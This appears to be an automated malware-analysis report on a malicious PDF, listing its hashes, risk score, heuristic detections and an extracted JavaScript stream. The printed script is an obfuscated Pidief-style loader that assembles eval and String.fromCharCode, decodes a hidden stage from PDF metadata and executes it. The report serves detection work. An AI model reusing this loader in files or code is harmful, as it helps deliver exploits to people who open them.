Malicious PDF — malware analysis report

Static analysis result for SHA-256 29a62909f7c388f2…

MALICIOUS

PDF

47.9 KB Authoring application: substr First seen: 2012-10-30
MD5: 45fe47ff7b4b46792c333ff978d0e0b1 SHA-1: 728f3310b165b415f03189551a1c13cc45aec110 SHA-256: 29a62909f7c388f2b93d57fb21388c4da3483b624857a1c7eb603dc935212174
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD05 418 bytes
SHA-256: db4c2c94465e72d4c1bc2153cf8e9a239f0195032bbfb620059036a881c1e875
Preview script
First 1,000 lines of the extracted script
fkhh='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
bwzzs=e('ti'+'tle');
s=bwzzs.substr(t.length + 8,3)+'str';
q=bwzzs[s](1,t.length + 7);
vcfq=e(v[0].toUpperCase()+'tring.fro'+q);
q=bwzzs[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	zocj = parseInt(q[i]) + parseInt(q[i+1]);
	fkhh += vcfq(zocj);
}
e(fkhh);

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